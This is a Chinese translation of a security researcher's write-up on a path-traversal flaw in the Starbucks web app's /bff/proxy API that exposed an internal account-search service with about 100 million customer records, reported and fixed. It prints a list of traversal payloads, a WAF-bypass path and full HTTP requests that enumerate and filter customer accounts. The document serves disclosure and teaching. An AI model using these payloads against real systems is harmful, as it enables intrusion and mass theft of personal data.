我在星巴克买了张卡,意外发现一亿客户信息泄露

用户头像
田晓旭
关注
发布于: 2020 年 06 月 22 日
我在星巴克买了张卡,意外发现一亿客户信息泄露

本文原作者为Sam Curry,并由核子可乐翻译。



朋友的生日快到了,我准备上网买张星巴克礼品卡作为礼物。但是在星巴克网站上购物的过程中,意外发现了星巴克网站的Bug,外部人士可以访问1亿星巴克客户的姓名、电子邮件、电话号码与常住地址。



事情要从朋友生日说起,本来我是打算上网买张星巴克礼品卡作为朋友的生日礼物,但是在星巴克网站购物时,我发现其网站包含了大量的API调用,我很疑惑:在线购物网站设计中需要用到大量的调用操作吗?于是,我发现了一条以“/bff/proxy/”为前缀的API发送了多项请求,而请求返回的数据似乎来自另一台主机。



下面是一条返回用户信息的API调用示例:




POST /bff/proxy/orchestra/get-user HTTP/1.1

Host: app.starbucks.com

{

"data": {

"user": {

"exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F",

"firstName": "Sam",

"lastName": "Curry",

"email": "samwcurry@gmail.com",

"partnerNumber": null,

"birthDay": null,

"birthMonth": null,

"loyaltyProgram": null

}

}

}


其中的“bff”术语实际上代表“后端的前端”,表示与用户交互的当前应用程序将请求发送给了另一台主机,借此获取实际逻辑或功能。



下面来看一份简单视图:



在以上示例中,“app.starbucks.com”主机无法访问只能通过特定端点接入的逻辑或数据,但却可以作为通往第二主机(假定其名为「internal.starbucks.com」)的代理或者中间人。



这里我们要考虑几个有趣的问题:



  • 我们要如何测试应用程序的路由机制?

  • 如果应用程序将请求路由至某内部主机,那么其权限模式大致会是什么样的?

  • 对于被发送至内部主机的请求,我们能否控制其中的路径或者参数?

  • 内部主机上是否存在开放重新定向?如果有,应用程序是否会遵循该开放重新定向?

  • 返回的内容是否必须匹配适当的类型(例如是否解析JSON、XML或者任何其他数据)?



于是,我做了第一次尝试,遍历API调用以加载其他路径。具体操作方式为发送以下载荷:




/bff/proxy/orchestra/get-user/..%2f

/bff/proxy/orchestra/get-user/..;/

/bff/proxy/orchestra/get-user/../

/bff/proxy/orchestra/get-user/..%00/

/bff/proxy/orchestra/get-user/..%0d/

/bff/proxy/orchestra/get-user/..%5c

/bff/proxy/orchestra/get-user/..\

/bff/proxy/orchestra/get-user/..%ff/

/bff/proxy/orchestra/get-user/%2e%2e%2f

/bff/proxy/orchestra/get-user/.%2e/

/bff/proxy/orchestra/get-user/%3f (?)

/bff/proxy/orchestra/get-user/%26 (&)

/bff/proxy/orchestra/get-user/%23 (#)




遗憾的是,这些都没有发挥作用,它们返回的都是常见的404页面,意味着试图加载的页面内容无法在目标站点上找到。



这么看来,请求中的路径位于“/bff/proxy”之下,所以不会继承我随后发送的所有内容。看来情况越来越明确了。



接下来,我们可以将“/bff/proxy/orchestra/get-user”理解成一条正在调用且不包含用户输入的函数。与之对应,也许还存在某些能够接受用户输入的函数,例如“/bff/proxy/users/:id”,我们可以在其中调整并测试它所能接收的数据。如果我们发现了这样的API调用,即可遍历全部有效载荷并发送其他数据,把它变成我们与目标网站之间的数据传递通道。



就这样,我又对星巴克的Web应用进行一番详查,从中找到了更多API调用。我发现的第一条能够接收用户输入的信息是:




GET /bff/proxy/v1/me/streamItems/:streamItemId HTTP/1.1

Host: app.starbucks.com



此端点不同于“get-user”端点,因为其最后一条路径作为参数存在,我们可以在其中添加任意输入。如果此输入被判定为内部系统中的有效路径,我们就有机会遍历该路径甚至访问其他内部端点。



幸运的是,我尝试的第一条测试就返回了很好的结果,证明我们完全可以遍历各内部端点:




GET /bff/proxy/stream/v1/users/me/streamItems/..\ HTTP/1.1

Host: app.starbucks.com

{

"errors": [

{

"message": "Not Found",

"errorCode": 404,

...




此JSON响应与“/bff/proxy”下所有其他常规API所调用的JSON响应相同。这意味着我们正在使用内部系统,而且成功修改了与之通信的路径。下一步就是映射内部系统,这方面的最佳方法当然是识别出返回“404错误请求”的第一条路径,然后一路前往root。




Sadly, I ran into a little road bump. There was a WAF that wouldn’t let me go two directories deep:

GET /bff/proxy/stream/v1/users/me/streamItems/..\..\ HTTP/1.1

Host: app.starbucks.com

HTTP/1.1 403 Forbidden




运气不错,WAF相当糟糕:




GET /bff/proxy/v1/me/streamItems/web\..\.\..\ HTTP/1.1

Host: app.starbucks.com

{

"errors": [

{

"message": "Not Found",

"errorCode": 404,

...



最后,在返回7条路径之后,我接收到以下错误:




GET /bff/proxy/v1/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\..\ HTTP/1.1

Host: app.starbucks.com

{

"errors": [

{

"message": "Bad Request",

"errorCode": 400,

...


这意味着内部API的root有6条返回路径,我们可以使用目录暴力破解工具或者Burp Suite入侵工具,配合词汇表将整个体系映射出来。



于是,我找到了好友Justin Gardner,并就此情况展开了讨论。在Burp入侵工具的帮助下,他发现指向路径的HTTP请求中若没有正斜杠,则会返回一段重新定义代码。于是他立即据此确定了内部系统root上的多条路径:




GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search

Host: app.starbucks.com

HTTP/1.1 301 Moved Permanently

Server: nginx

Content-Type: text/html

Content-Length: 162

Location: /search/




Justin在努力查找所有端点,而我则在认真研究各个目录。在运行一轮扫描之后,我发现“v1”存在于“search”之下,而“v1”下面又有“Accounts”与“Addresses”。



我给Justin发了条消息,提到如果“/search/v1/accounts”端点中包含的就是实际账户信息,那该是多么重大的发现……





不出所料,事实的确如此,这里的“/search/v1/accounts”是一个Microsoft Graph实例,能够访问所有星巴克账户。



GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search\v1\Accounts\ HTTP/1.1

Host: app.starbucks.com

{

"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",

"value": [

{

"Id": 1,

"ExternalId": "12345",

"UserName": "UserName",

"FirstName": "FirstName",

"LastName": "LastName",

"EmailAddress": "0640DE@example.com",

"Submarket": "US",

"PartnerNumber": null,

"RegistrationDate": "1900-01-01T00:00:00Z",

"RegistrationSource": "iOSApp",

"LastUpdated": "2017-06-01T15:32:56.4925207Z"

},

...

lots of production accounts




另外,“Addresses”端点也返回了类似的结果……




GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search\v1\Addresses\ HTTP/1.1

Host: app.starbucks.com

{

"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Addresses",

"value": [

{

"Id": 1,

"AccountId": 1,

"AddressType": "3",

"AddressLine1": null,

"AddressLine2": null,

"AddressLine3": null,

"City": null,

"PostalCode": null,

"Country": null,

"CountrySubdivision": null,

"FirstName": null,

"LastName": null,

"PhoneNumber": null

},

...




看起来,这应该是一项用于支持实际账户与地址的服务。我们开始进一步探索这项服务,并使用Microsoft Graph功能证明自己的猜测。




GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$count=true

Host: app.starbucks.com

{

"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",

"@odata.count":99356059

}




在通过Microsoft Graph URL添加“$count”参数之后,我们可以确定该服务中包含近1亿条记录。攻击者可以通过添加“$skip”及“$count”等参数枚举所有用户账户,进而窃取这些数据。



再有,要查明特定用户账户,攻击者还可以使用“$filter”参数:




GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$filter=startswith(UserName,'redacted') HTTP/1.1

Host: app.starbucks.com

{

"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",

"value": [

{

"Id": 81763022,

"ExternalId": "59d159e2-redacted-redacted-b037-e8cececdf354",

"UserName": "redacted@gmail.com",

"FirstName": "Justin",

"LastName": "Gardner",

"EmailAddress": "redacted@gmail.com",

"Submarket": "US",

"PartnerNumber": null,

"RegistrationDate": "2018-05-19T18:52:15.0763564Z",

"RegistrationSource": "Android",

"LastUpdated": "2020-05-16T23:28:39.3426069Z"

}

]

}


由于内容太过敏感,我们马上向星巴克上报了这个问题。由于时间紧迫,我们无暇探索其他可以访问的API,但光是在简单的探索过程中,我们已经发现了以下端点……



barcode, loyalty, appsettings, card, challenge, content, identifier, identity, onboarding, orderhistory, permissions, product, promotion, account, billingaddress, enrollment, location, music, offers, rewards, keyserver



这些其他内部端点有可能(未经确认)允许我们访问并修改账单地址、礼品卡、积分以及优惠等内容。



我们的概念验证结果表明,外部人士确实可以借此访问近1亿星巴克客户的姓名、电子邮件、电话号码与常住地址。



星巴克团队的行动速度很快,在一天之内就解决了问题。



如果总结一下这次事件的话,那么就是“app.starbucks.com”中“/bff/proxy/”中的各端点会在内部路由请求,借此实现数据的检索与存储。我们可以遍历这些API调用,以访问内部主机上那些本不可直接访问的URL。内部API拥有一个公开的Microsoft Graph实例,该实例允许攻击者轻松窃取近1亿条用户记录,包括姓名、电子邮件、电话号码与常住地址。



原文链接:



https://samcurry.net/hacking-starbucks/



发布于: 2020 年 06 月 22 日 阅读数: 799
用户头像

田晓旭

关注

InfoQ 编辑 2019.04.23 加入

关注开源技术、云计算和数据库,坐标北京,微信号:txx0525yqwd,如有故事,欢迎交流。

评论 (1 条评论)

发布
用户头像
bff 是 Back-end For Front-end,后端的前端
2020 年 06 月 23 日 12:20
回复
没有更多了
我在星巴克买了张卡,意外发现一亿客户信息泄露